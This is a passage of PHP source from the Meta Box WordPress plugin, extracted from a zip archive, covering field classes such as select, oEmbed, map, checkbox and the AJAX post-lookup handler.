		return empty( $args['format'] ) ? $value['formatted'] : gmdate( $args['format'], $value['timestamp'] );
	}
}
PK     0w\|?<}  }  3  dashboard/lib/meta-box/inc/fields/object-choice.phpnu [        <?php
defined( 'ABSPATH' ) || die;

use MetaBox\Support\Arr;

/**
 * The object choice class which allows users to select specific objects (post, user, taxonomy) in WordPress.
 */
abstract class RWMB_Object_Choice_Field extends RWMB_Choice_Field {
	/**
	 * Show field HTML.
	 * Populate field options before showing to make sure query is made only once.
	 *
	 * @param array $field   Field parameters.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param int   $post_id Post ID.
	 */
	public static function show( array $field, bool $saved, $post_id = 0 ) {
		// Get unique saved IDs for ajax fields.
		$meta = static::meta( $post_id, $saved, $field );
		$meta = self::filter( 'field_meta', $meta, $field, $saved );
		$meta = Arr::flatten( (array) $meta );
		$meta = array_filter( wp_parse_id_list( $meta ) );
		sort( $meta );

		$field['options'] = static::query( $meta, $field );

		parent::show( $field, $saved, $post_id );
	}

	abstract public static function query( $meta, array $field ) : array;

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$html = call_user_func( [ self::get_type_class( $field ), 'html' ], $meta, $field );

		if ( $field['add_new'] ) {
			$html .= static::add_new_form( $field );
		}

		return $html;
	}

	public static function add_new_form( array $field ): string {
		return '';
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'flatten'    => true,
			'query_args' => [],
			'field_type' => 'select_advanced',
			'add_new'    => false,
			'ajax'       => true,
		] );
		if ( 'select_advanced' !== $field['field_type'] ) {
			$field['ajax'] = false;
		}
		if ( 'checkbox_tree' === $field['field_type'] ) {
			$field['field_type'] = 'checkbox_list';
			$field['flatten']    = false;
		}
		if ( 'radio_list' === $field['field_type'] ) {
			$field['field_type'] = 'radio';
		}
		$field = call_user_func( [ self::get_type_class( $field ), 'normalize' ], $field );

		return $field;
	}

	/**
	 * Set ajax parameters.
	 *
	 * @param array $field Field settings.
	 */
	protected static function set_ajax_params( &$field ) {
		if ( ! $field['ajax'] ) {
			return;
		}

		if ( empty( $field['js_options']['ajax'] ) ) {
			$field['js_options']['ajax'] = [];
		}
		$field['js_options']['ajax']      = wp_parse_args(
			[
				'url' => admin_url( 'admin-ajax.php' ),
			],
			$field['js_options']['ajax']
		);
		$field['js_options']['ajax_data'] = [
			'field'    => [
				'id'         => $field['id'],
				'type'       => $field['type'],
				'query_args' => $field['query_args'],
			],
			'_wpnonce' => wp_create_nonce( 'query' ),
		];
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = call_user_func( [ self::get_type_class( $field ), 'get_attributes' ], $field, $value );
		if ( 'select_advanced' === $field['field_type'] ) {
			$attributes['class'] .= ' rwmb-select_advanced';
		} elseif ( 'select' === $field['field_type'] ) {
			$attributes['class'] .= ' rwmb-select';
		}
		return $attributes;
	}

	public static function admin_enqueue_scripts() {
		RWMB_Input_List_Field::admin_enqueue_scripts();
		RWMB_Select_Field::admin_enqueue_scripts();
		RWMB_Select_Tree_Field::admin_enqueue_scripts();
		RWMB_Select_Advanced_Field::admin_enqueue_scripts();

		// Field is the 1st param.
		$field = func_get_arg( 0 );
		if ( empty( $field['add_new'] ) ) {
			return;
		}

		wp_enqueue_style( 'rwmb-modal', RWMB_CSS_URL . 'modal.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-modal', 'path', RWMB_CSS_DIR . 'modal.css' );
		wp_enqueue_script( 'rwmb-modal', RWMB_JS_URL . 'modal.js', [ 'jquery' ], RWMB_VER, true );

		$type = $field['type'] === 'taxonomy_advanced' ? 'taxonomy' : $field['type'];
		wp_enqueue_script( "rwmb-$type", RWMB_JS_URL . "$type.js", [ 'jquery', 'rwmb-modal' ], RWMB_VER, true );
	}

	/**
	 * Get correct rendering class for the field.
	 */
	protected static function get_type_class( array $field ) : string {
		return RWMB_Helpers_Field::get_class( [ 'type' => $field['field_type'] ] );
	}
}
PK     0w\ZEV	  	  ,  dashboard/lib/meta-box/inc/fields/select.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The select field.
 */
class RWMB_Select_Field extends RWMB_Choice_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-select', RWMB_CSS_URL . 'select.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-select', 'path', RWMB_CSS_DIR . 'select.css' );
		wp_enqueue_script( 'rwmb-select', RWMB_JS_URL . 'select.js', [ 'jquery' ], RWMB_VER, true );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$options                     = self::transform_options( $field['options'] );
		$attributes                  = self::call( 'get_attributes', $field, $meta );
		$attributes['data-selected'] = $meta;
		$walker                      = new RWMB_Walker_Select( $field, $meta );
		$output                      = sprintf(
			'<select %s>',
			self::render_attributes( $attributes )
		);
		if ( ! $field['multiple'] && $field['placeholder'] ) {
			$output .= '<option value="">' . esc_html( $field['placeholder'] ) . '</option>';
		}
		$output .= $walker->walk( $options, $field['flatten'] ? -1 : 0 );
		$output .= '</select>';
		$output .= self::get_select_all_html( $field );
		return $output;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field;
		$field = wp_parse_args( $field, [
			'select_all_none' => false,
		] );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = parent::get_attributes( $field, $value );
		$attributes = wp_parse_args( $attributes, [
			'multiple' => $field['multiple'],
		] );

		return $attributes;
	}

	/**
	 * Get html for select all|none for multiple select.
	 *
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function get_select_all_html( $field ) {
		if ( $field['multiple'] && $field['select_all_none'] ) {
			return '<div class="rwmb-select-all-none">' . __( 'Select', 'meta-box' ) . ': <a data-type="all" href="#">' . __( 'All', 'meta-box' ) . '</a> | <a data-type="none" href="#">' . __( 'None', 'meta-box' ) . '</a></div>';
		}
		return '';
	}
}
PK     0w\$Ź/  /  ,  dashboard/lib/meta-box/inc/fields/oembed.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The oEmbed field which allows users to enter oEmbed URLs.
 */
class RWMB_OEmbed_Field extends RWMB_Input_Field {
	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );

		$field               = wp_parse_args( $field, [
			'not_available_string' => __( 'Embed HTML not available.', 'meta-box' ),
		] );
		$field['attributes'] = wp_parse_args( $field['attributes'], [
			'data-not-available' => $field['not_available_string'],
		] );

		return $field;
	}

	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-oembed', RWMB_CSS_URL . 'oembed.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-oembed', 'path', RWMB_CSS_DIR . 'oembed.css' );
		wp_enqueue_script( 'rwmb-oembed', RWMB_JS_URL . 'oembed.js', [ 'jquery', 'underscore', 'rwmb' ], RWMB_VER, true );
		wp_localize_script( 'rwmb-oembed', 'rwmbOembed', [
			'nonce' => wp_create_nonce( 'oembed_get' ),
		] );
	}

	public static function add_actions() {
		add_action( 'wp_ajax_rwmb_get_embed', [ __CLASS__, 'ajax_get_embed' ] );
	}

	public static function ajax_get_embed() {
		check_ajax_referer( 'oembed_get' );

		$request       = rwmb_request();
		$url           = (string) $request->filter_post( 'url', FILTER_SANITIZE_URL );
		$not_available = (string) $request->post( 'not_available' );
		wp_send_json_success( self::get_embed( $url, $not_available ) );
	}

	/**
	 * Get embed html from url.
	 *
	 * @param string $url           URL.
	 * @param string $not_available Not available string displayed to users.
	 * @return string
	 */
	public static function get_embed( $url, $not_available = '' ) {
		/**
		 * Set arguments for getting embeded HTML.
		 * Without arguments, default width will be taken from global $content_width, which can break UI in the admin.
		 *
		 * @link https://github.com/rilwis/meta-box/issues/801
		 * @see  WP_oEmbed::fetch()
		 * @see  WP_Embed::shortcode()
		 * @see  wp_embed_defaults()
		 */
		$args = [];
		if ( is_admin() ) {
			$args['width'] = 360;
		}

		// Try oembed first.
		$embed = wp_oembed_get( $url, $args );

		// If no oembed provides found, try WordPress auto embed.
		if ( ! $embed ) {
			global $wp_embed;
			$temp                           = $wp_embed->return_false_on_fail;
			$wp_embed->return_false_on_fail = true; // Do not fallback to make a link.
			$embed                          = $wp_embed->shortcode( $args, $url );
			$wp_embed->return_false_on_fail = $temp;
		}

		if ( $not_available ) {
			$not_available = '<div class="rwmb-oembed-not-available">' . wp_kses_post( $not_available ) . '</div>';
		}
		$not_available = apply_filters( 'rwmb_oembed_not_available_string', $not_available );

		return $embed ? $embed : $not_available;
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		return parent::html( $meta, $field ) . sprintf(
			'<span class="spinner"></span>
			<div class="rwmb-embed-media">%s</div>',
			$meta ? self::get_embed( $meta, $field['not_available_string'] ) : ''
		);
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes         = parent::get_attributes( $field, $value );
		$attributes['type'] = 'url';
		return $attributes;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return self::get_embed( $value, $field['not_available_string'] );
	}
}
PK     0w\>ZSQ  Q  5  dashboard/lib/meta-box/inc/fields/multiple-values.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * This class implements common methods used in fields which have multiple values
 * like checkbox list, autocomplete, etc.
 *
 * The difference when handling actions for these fields are the way they get/set
 * meta value. Briefly:
 * - If field is cloneable, value is saved as a single entry in the database
 * - Otherwise value is saved as multiple entries
 */
abstract class RWMB_Multiple_Values_Field extends RWMB_Field {
	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field               = parent::normalize( $field );
		$field['multiple']   = true;
		$field['field_name'] = $field['id'];
		if ( ! $field['clone'] ) {
			$field['field_name'] .= '[]';
		}

		return $field;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return $field['options'][ $value ];
	}
}
PK     0w\X
  
  0  dashboard/lib/meta-box/inc/fields/input-list.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The input list field which displays choices in a list of inputs.
 */
class RWMB_Input_List_Field extends RWMB_Choice_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-input-list', RWMB_CSS_URL . 'input-list.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-input-list', 'path', RWMB_CSS_DIR . 'input-list.css' );
		wp_enqueue_script( 'rwmb-input-list', RWMB_JS_URL . 'input-list.js', [], RWMB_VER, true );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$options = self::transform_options( $field['options'] );
		$walker  = new RWMB_Walker_Input_List( $field, $meta );
		$output  = self::get_select_all_html( $field );
		$output .= sprintf(
			'<fieldset class="rwmb-input-list%s%s">',
			$field['collapse'] ? ' rwmb-collapse' : '',
			$field['inline'] ? ' rwmb-inline' : ''
		);
		$output .= $walker->walk( $options, $field['flatten'] ? -1 : 0 );
		$output .= '</fieldset>';

		return $output;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field;
		$field = RWMB_Input_Field::normalize( $field );
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'collapse'        => true,
			'inline'          => null,
			'select_all_none' => false,
		] );

		$field['flatten'] = $field['multiple'] ? $field['flatten'] : true;
		$field['inline']  = ! $field['multiple'] && ! isset( $field['inline'] ) ? true : $field['inline'];

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes          = RWMB_Input_Field::get_attributes( $field, $value );
		$attributes['id']    = false;
		$attributes['type']  = $field['multiple'] ? 'checkbox' : 'radio';
		$attributes['value'] = $value;

		return $attributes;
	}

	/**
	 * Get html for select all|none for multiple checkbox.
	 *
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function get_select_all_html( $field ) {
		if ( $field['multiple'] && $field['select_all_none'] ) {
			return sprintf( '<p class="rwmb-toggle-all-wrapper"><button class="rwmb-input-list-select-all-none button" data-name="%s">%s</button></p>', $field['id'], __( 'Toggle All', 'meta-box' ) );
		}
		return '';
	}
}
PK     0w\ǐ7Z  Z  1  dashboard/lib/meta-box/inc/fields/custom-html.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The custom HTML field which allows users to output any kind of content to the meta box.
 */
class RWMB_Custom_Html_Field extends RWMB_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$html = ! empty( $field['std'] ) ? $field['std'] : '';
		if ( ! empty( $field['callback'] ) && is_callable( $field['callback'] ) ) {
			$html = call_user_func_array( $field['callback'], [ $meta, $field ] );
		}
		return $html;
	}
}
PK     0w\iF	  	  2  dashboard/lib/meta-box/inc/fields/image-select.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The image select field which behaves similar to the radio field but uses images as options.
 */
class RWMB_Image_Select_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-image-select', RWMB_CSS_URL . 'image-select.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-image-select', 'path', RWMB_CSS_DIR . 'image-select.css' );
		wp_enqueue_script( 'rwmb-image-select', RWMB_JS_URL . 'image-select.js', [ 'jquery' ], RWMB_VER, true );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$html    = [];
		$meta    = (array) $meta;
		foreach ( $field['options'] as $value => $image ) {
			$attributes = self::get_attributes( $field, $value );
			$html[]     = sprintf(
				'<label class="rwmb-image-select"><img src="%s"><input %s%s></label>',
				$image,
				self::render_attributes( $attributes ),
				checked( in_array( $value, $meta ), true, false )
			);
		}

		return implode( ' ', $html );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field                = parent::normalize( $field );
		$field['options']     = $field['options'] ?? [];
		$field['field_name'] .= $field['multiple'] ? '[]' : '';

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes          = parent::get_attributes( $field, $value );
		$attributes['id']    = false;
		$attributes['type']  = $field['multiple'] ? 'checkbox' : 'radio';
		$attributes['value'] = $value;

		return $attributes;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return $value ? sprintf( '<img src="%s">', esc_url( $field['options'][ $value ] ) ) : '';
	}
}
PK     0w\p  p  2  dashboard/lib/meta-box/inc/fields/image-upload.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The image upload field which allows users to drag and drop images.
 */
class RWMB_Image_Upload_Field extends RWMB_Image_Advanced_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		RWMB_File_Upload_Field::admin_enqueue_scripts();
		wp_enqueue_script( 'rwmb-image-upload', RWMB_JS_URL . 'image-upload.js', [ 'rwmb-file-upload', 'rwmb-image-advanced' ], RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		return RWMB_File_Upload_Field::normalize( $field );
	}

	/**
	 * Template for media item.
	 */
	public static function print_templates() {
		parent::print_templates();
		RWMB_File_Upload_Field::print_templates();
	}
}
PK     0w\]x    +  dashboard/lib/meta-box/inc/fields/radio.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The radio field.
 */
class RWMB_Radio_Field extends RWMB_Input_List_Field {
	public static function normalize( $field ) {
		$field['multiple'] = false;
		$field             = parent::normalize( $field );

		return $field;
	}
}
PK     0w\7sL  L  .  dashboard/lib/meta-box/inc/fields/textarea.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The textarea field.
 */
class RWMB_Textarea_Field extends RWMB_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::get_attributes( $field, $meta );
		return sprintf(
			'<textarea %s>%s</textarea>',
			self::render_attributes( $attributes ),
			esc_textarea( $meta )
		);
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'autocomplete' => false,
			'cols'         => false,
			'rows'         => 3,
			'maxlength'    => false,
			'minlength'    => false,
			'wrap'         => false,
			'readonly'     => false,
		] );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = parent::get_attributes( $field, $value );
		$attributes = wp_parse_args( $attributes, [
			'autocomplete' => $field['autocomplete'],
			'cols'         => $field['cols'],
			'rows'         => $field['rows'],
			'maxlength'    => $field['maxlength'],
			'minlength'    => $field['minlength'],
			'wrap'         => $field['wrap'],
			'readonly'     => $field['readonly'],
			'placeholder'  => $field['placeholder'],
		] );

		return $attributes;
	}
}
PK     0w\,l  l  )  dashboard/lib/meta-box/inc/fields/map.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The Google Maps field.
 */
class RWMB_Map_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-map', RWMB_CSS_URL . 'map.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-map', 'path', RWMB_CSS_DIR . 'map.css' );

		$args            = func_get_args();
		$field           = $args[0];
		$google_maps_url = add_query_arg( [
			'key'       => $field['api_key'],
			'language'  => $field['language'],
			'libraries' => 'places',
		], 'https://maps.google.com/maps/api/js' );

		/**
		 * Allows developers load more libraries via a filter.
		 * @link https://developers.google.com/maps/documentation/javascript/libraries
		 */
		$google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url );

		wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), [], RWMB_VER, true );
		wp_enqueue_script( 'rwmb-map', RWMB_JS_URL . 'map.js', [ 'jquery-ui-autocomplete', 'google-maps' ], RWMB_VER, true );
		RWMB_Helpers_Field::localize_script_once( 'rwmb-map', 'RWMB_Map', [
			'no_results_string' => __( 'No results found', 'meta-box' ),
		] );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field'];
		$html    = sprintf(
			'<div class="rwmb-map-field" data-address-field="%s">',
			esc_attr( $address )
		);

		$attributes          = self::get_attributes( $field, $meta );
		$attributes['type']  = 'hidden';
		$attributes['value'] = $meta;

		$html .= sprintf(
			'<div class="rwmb-map-canvas" data-default-loc="%s" data-region="%s"></div>
			<input %s>',
			esc_attr( $field['std'] ),
			esc_attr( $field['region'] ),
			self::render_attributes( $attributes )
		);

		$html .= '</div>';

		return $html;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'std'           => '',
			'address_field' => '',
			'language'      => '',
			'region'        => '',

			// Default API key, required by Google Maps since June 2016.
			// Users should overwrite this key with their own key.
			'api_key'       => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ',
		] );

		return $field;
	}

	/**
	 * Get the field value.
	 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value
	 * of the field saved in the database, while this function returns more meaningful value of the field.
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Not used for this field.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed Array(latitude, longitude, zoom)
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		$value = parent::get_value( $field, $args, $post_id );

		if ( is_array( $value ) ) {
			$location = [];
			foreach ( $value as $clone ) {
				list( $latitude, $longitude, $zoom ) = explode( ',', $clone . ',,' );
				$location[]                            = compact( 'latitude', 'longitude', 'zoom' );
			}
			return $location;
		}

		list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' );
		return compact( 'latitude', 'longitude', 'zoom' );
	}

	/**
	 * Format value before render map
	 * @param mixed $field
	 * @param mixed $value
	 * @param mixed $args
	 * @param mixed $post_id
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ): string {
		$args = wp_parse_args( $args, [
			'api_key' => $field['api_key'] ?? '',
		] );
		return self::render_map( $value, $args );
	}

	/**
	 * Render a map in the frontend.
	 *
	 * @param string $location The "latitude,longitude[,zoom]" location.
	 * @param array  $args     Additional arguments for the map.
	 *
	 * @return string
	 */
	public static function render_map( $location, $args = [] ) {
        // For compatibility with previous version, or within groups.
		if ( is_string( $location ) ) {
			list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' );
		} else {
			extract( $location );
		}

        if ( ! $latitude || ! $longitude ) {
            return '';
        }

		$args = wp_parse_args( $args, [
			'latitude'     => $latitude,
			'longitude'    => $longitude,
			'width'        => '100%',
			'height'       => '480px',
			'marker'       => true, // Display marker?
			'marker_title' => '', // Marker title, when hover.
			'info_window'  => '', // Content of info window (when click on marker). HTML allowed.
			'js_options'   => [],
			'zoom'         => $zoom,

			// Default API key, required by Google Maps since June 2016.
			// Users should overwrite this key with their own key.
			'api_key'      => 'AIzaSyC1mUh87SGFyf133tpZQJa-s96p0tgnraQ',
		] );

		$google_maps_url = add_query_arg( 'key', $args['api_key'], 'https://maps.google.com/maps/api/js' );

		/*
		 * Allows developers load more libraries via a filter.
		 * @link https://developers.google.com/maps/documentation/javascript/libraries
		 */
		$google_maps_url = apply_filters( 'rwmb_google_maps_url', $google_maps_url );
		wp_register_script( 'google-maps', esc_url_raw( $google_maps_url ), [], RWMB_VER, true );
		wp_enqueue_script( 'rwmb-map-frontend', RWMB_JS_URL . 'map-frontend.js', [ 'google-maps', 'jquery' ], RWMB_VER, true );

		/*
		 * Google Maps options.
		 * Option name is the same as specified in Google Maps documentation.
		 * This array will be convert to Javascript Object and pass as map options.
		 * @link https://developers.google.com/maps/documentation/javascript/reference
		 */
		$args['js_options'] = wp_parse_args( $args['js_options'], [
			// Default to 'zoom' level set in admin, but can be overwritten.
			'zoom'           => $args['zoom'],

			// Map type, see https://developers.google.com/maps/documentation/javascript/reference#MapTypeId.
			'mapTypeId'      => 'ROADMAP',

			// Open Info Window
			'openInfoWindow' => false,
		] );

		$output = sprintf(
			'<div class="rwmb-map-canvas" data-map_options="%s" style="width:%s;height:%s"></div>',
			esc_attr( wp_json_encode( $args ) ),
			esc_attr( $args['width'] ),
			esc_attr( $args['height'] )
		);
		return $output;
	}
}
PK     0w\Zf
a  a  -  dashboard/lib/meta-box/inc/fields/divider.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The divider field which displays a simple horizontal line.
 */
class RWMB_Divider_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-divider', RWMB_CSS_URL . 'divider.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-divider', 'path', RWMB_CSS_DIR . 'divider.css' );
	}

	protected static function begin_html( array $field ) : string {
		$attributes = empty( $field['id'] ) ? '' : " id='{$field['id']}'";
		return "<hr$attributes>";
	}

	public static function end_html( array $field ) : string {
		return '';
	}
}
PK     0w\r%Y    .  dashboard/lib/meta-box/inc/fields/checkbox.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The checkbox field.
 */
class RWMB_Checkbox_Field extends RWMB_Input_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::get_attributes( $field, 1 );
		$output     = sprintf(
			'<input %s %s>',
			self::render_attributes( $attributes ),
			checked( ! empty( $meta ), 1, false )
		);
		if ( $field['desc'] ) {
			$output = "<label id='{$field['id']}_description' class='description'>$output {$field['desc']}</label>";
		}
		return $output;
	}

	protected static function input_description( array $field ) : string {
		return '';
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return $value ? __( 'Yes', 'meta-box' ) : __( 'No', 'meta-box' );
	}
}
PK     0w\>1    1  dashboard/lib/meta-box/inc/fields/select-tree.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The select tree field.
 */
class RWMB_Select_Tree_Field extends RWMB_Select_Advanced_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$options = self::transform_options( $field['options'] );
		$walker  = new RWMB_Walker_Select_Tree( $field, $meta );
		return $options ? $walker->walk( $options ) : '';
	}

	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		wp_enqueue_style( 'rwmb-select-tree', RWMB_CSS_URL . 'select-tree.css', [ 'rwmb-select' ], RWMB_VER );
		wp_style_add_data( 'rwmb-select-tree', 'path', RWMB_CSS_DIR . 'select-tree.css' );
		wp_enqueue_script( 'rwmb-select-tree', RWMB_JS_URL . 'select-tree.js', [ 'rwmb-select' ], RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['multiple'] = true;
		$field['size']     = 0;
		$field             = parent::normalize( $field );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes             = parent::get_attributes( $field, $value );
		$attributes['multiple'] = false;
		$attributes['id']       = false;

		return $attributes;
	}
}
PK     0w\{n  n  *  dashboard/lib/meta-box/inc/fields/post.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The post field which allows users to select existing posts.
 */
class RWMB_Post_Field extends RWMB_Object_Choice_Field {
	public static function add_actions() {
		add_action( 'wp_ajax_rwmb_get_posts', [ __CLASS__, 'ajax_get_posts' ] );
		add_action( 'wp_ajax_nopriv_rwmb_get_posts', [ __CLASS__, 'ajax_get_posts' ] );
	}

	public static function ajax_get_posts() {
		check_ajax_referer( 'query' );

		$request = rwmb_request();

		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );

		// Required for 'choice_label' filter. See self::filter().
		$field['clone']        = false;
		$field['_original_id'] = $field['id'];

		// Search.
		$field['query_args']['s'] = $request->filter_post( 'term' );

		// Pagination.
		if ( 'query:append' === $request->filter_post( '_type' ) ) {
			$field['query_args']['paged'] = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT );
		}

		// Query the database.
		$items = self::query( null, $field );
		$items = array_values( $items );

		$items = apply_filters( 'rwmb_ajax_get_posts', $items, $field, $request );

		$data = [ 'items' => $items ];

		// More items for pagination.
		$limit = (int) $field['query_args']['posts_per_page'];
		if ( -1 !== $limit && count( $items ) === $limit ) {
			$data['more'] = true;
		}

